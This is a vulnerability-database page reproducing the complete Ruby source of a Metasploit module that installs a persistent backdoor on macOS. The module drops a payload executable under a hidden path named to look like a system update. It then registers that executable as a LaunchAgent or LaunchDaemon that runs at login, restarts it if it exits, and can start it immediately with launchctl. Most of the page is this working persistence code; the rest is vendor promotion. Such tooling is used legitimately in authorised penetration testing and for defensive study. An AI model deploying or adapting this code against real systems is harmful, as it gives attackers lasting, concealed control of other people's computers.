Lucene search
K

Mac OS X Persistent Payload Installer

🗓️ 12 Oct 2013 21:08:22Reported by Marcin 'Icewall' Noga <[email protected]>, joev <[email protected]>Type 
metasploit
 metasploit
🔗 www.rapid7.com👁 17 Views

This module provides a persistent boot payload by creating a launch item, which can be a LaunchAgent or a LaunchDaemon. It allows the payload to run with user level permissions or elevated privileges, triggered upon login by a plist entry in the specified directories

Code
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'shellwords'

class MetasploitModule < Msf::Exploit::Local
  Rank = ExcellentRanking

  include Msf::Post::Common
  include Msf::Post::File
  include Msf::Exploit::EXE

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Mac OS X Persistent Payload Installer',
        'Description' => %q{
          This module provides a persistent boot payload by creating a launch item, which can be
          a LaunchAgent or a LaunchDaemon. LaunchAgents run with user level permissions and are triggered
          upon login by a plist entry in ~/Library/LaunchAgents. LaunchDaemons run with
          elevated privilleges, and are launched before user login by a plist entry in the ~/Library/LaunchDaemons directory.
          In either case the plist entry specifies an executable that will be run before or at login.
        },
        'License' => MSF_LICENSE,
        'Author' => [ "Marcin 'Icewall' Noga <marcin[at]icewall.pl>", 'joev' ],
        'Targets' => [
          [ 'Mac OS X x64 (Native Payload)', { 'Arch' => ARCH_X64, 'Platform' => [ 'osx' ] } ],
          [ 'Mac OS X x86 (Native Payload for 10.14 and earlier)', { 'Arch' => ARCH_X86, 'Platform' => [ 'osx' ] } ],
          ['Mac OS X Apple Sillicon', { 'Arch' => ARCH_AARCH64, 'Platform' => ['osx'] }],
          [ 'Python payload', { 'Arch' => ARCH_PYTHON, 'Platform' => [ 'python' ] } ],
          [ 'Command payload', { 'Arch' => ARCH_CMD, 'Platform' => [ 'unix' ] } ],
        ],
        'DefaultTarget' => 0,
        'SessionTypes' => [ 'shell', 'meterpreter' ],
        'DisclosureDate' => '2012-04-01',
        'Platform' => [ 'osx', 'python', 'unix' ],
        'References' => [
          'https://taomm.org/vol1/pdfs/CH%202%20Persistence.pdf',
          'https://developer.apple.com/library/archive/documentation/MacOSX/Conceptual/BPSystemStartup/Chapters/CreatingLaunchdJobs.html'
        ]
      )
    )

    register_options([
      OptString.new('BACKDOOR_PATH',
                    [
                      true, 'Path to hide the backdoor on the target.',
                      '~/Library/.<random>/com.system.update'
                    ]),
      OptBool.new('KEEPALIVE',
                  [true, 'Continually restart the payload exe if it crashes/exits.', true]),
      OptBool.new('RUN_NOW',
                  [false, 'Run the installed payload immediately.', false]),
      OptEnum.new('LAUNCH_ITEM', [true, 'Type of launch item, see description for more info. Default is LaunchAgent', 'LaunchAgent', %w[LaunchAgent LaunchDaemon]])
    ])
  end

  def exploit
    check_for_duplicate_entry

    if target['Arch'] == ARCH_PYTHON
      payload_bin = "#!/usr/bin/env python\n" + payload.encoded
    elsif target['Arch'] == ARCH_CMD
      payload_bin = "#!/usr/bin/env bash\n" + payload.raw
    else
      payload_bin = generate_payload_exe
    end

    # Store backdoor on target machine
    write_backdoor(payload_bin)
    # Add plist file to LaunchAgents dir
    add_launchctl_item
    # tell the user how to remove the persistence if necessary
    list_removal_paths
  end

  private

  # drops a LaunchAgent plist into the user's Library, which specifies to run backdoor_path
  def add_launchctl_item
    label = File.basename(backdoor_path)
    cmd_exec("mkdir -p #{File.dirname(plist_path).shellescape}")
    # NOTE: the OnDemand key is the OSX < 10.4 equivalent of KeepAlive
    item = <<-EOI
    <?xml version="1.0" encoding="UTF-8"?>
    <!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
    <plist version="1.0">
      <dict>
        <key>Label</key>
        <string>#{label}</string>
        <key>Program</key>
        <string>#{backdoor_path}</string>
        <key>ProgramArguments</key>
        <array>
          <string>#{backdoor_path}</string>
        </array>
        <key>RunAtLoad</key>
        <true/>
        <key>OnDemand</key>
        <#{keepalive?}/>
        <key>KeepAlive</key>
        <#{keepalive?}/>
      </dict>
    </plist>
    EOI

    if write_file(plist_path, item)
      print_good("LaunchAgent added: #{plist_path}")
    else
      fail_with(Failure::UnexpectedReply, "Error writing LaunchAgent item to #{plist_path}")
    end

    if run_now?
      cmd_exec("launchctl load -w #{plist_path.shellescape}")
    end

    print_good('LaunchAgent installed successfully.')
  end

  # path to upload the backdoor. any <user> or <random> substrings will be replaced.
  # @return [String] path to drop the backdoor payload.
  def backdoor_path
    @backdoor_path ||= datastore['BACKDOOR_PATH']
                       .gsub('<random>') { Rex::Text.rand_text_alpha(8) }
                       .gsub(%r{^~/}, "/Users/#{user}/")
  end

  # raises an error if a Launch Agent already exists at desired same plist_path
  def check_for_duplicate_entry
    if file?(plist_path)
      fail_with 'FileError', "Duplicate LaunchAgent plist already exists at #{plist_path}"
    end
  end

  # @return [Boolean] user wants the persistence to be restarted constantly if it exits
  def keepalive?
    datastore['KEEPALIVE']
  end

  # useful if you want to remove the persistence.
  # prints out a list of paths to remove and commands to run.
  def list_removal_paths
    removal_command = "rm -rf #{File.dirname(backdoor_path).shellescape}"
    removal_command << " ; rm #{plist_path}"
    removal_command << " ; launchctl remove #{File.basename(backdoor_path)}"
    removal_command << " ; launchctl stop #{File.basename(backdoor_path)}"
    print_status("To remove the persistence, run:\n#{removal_command}\n")
  end

  # path to the LaunchAgent service configuration plist
  # @return [String] path to the LaunchAgent service
  def plist_path
    @plist_path ||= "/Users/#{user}/Library/#{datastore['LAUNCH_ITEM']}s/#{File.basename(backdoor_path)}.plist"
  end

  # @return [Boolean] user wants to launch the LaunchAgent immediately
  def run_now?
    datastore['RUN_NOW']
  end

  # @return [String] username of the session
  def user
    @user ||= cmd_exec('whoami').strip
  end

  # drops the file to disk, then makes it executable
  # @param [String] exe the executable to drop
  def write_backdoor(exe)
    print_status('Dropping backdoor executable...')
    cmd_exec("mkdir -p #{File.dirname(backdoor_path).shellescape}")

    if write_file(backdoor_path, exe)
      print_good("Backdoor stored to #{backdoor_path}")
      cmd_exec("chmod +x #{backdoor_path.shellescape}")
    else
      fail_with(Failure::UnexpectedReply, "Error dropping backdoor to #{backdoor_path}")
    end
  end
end

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation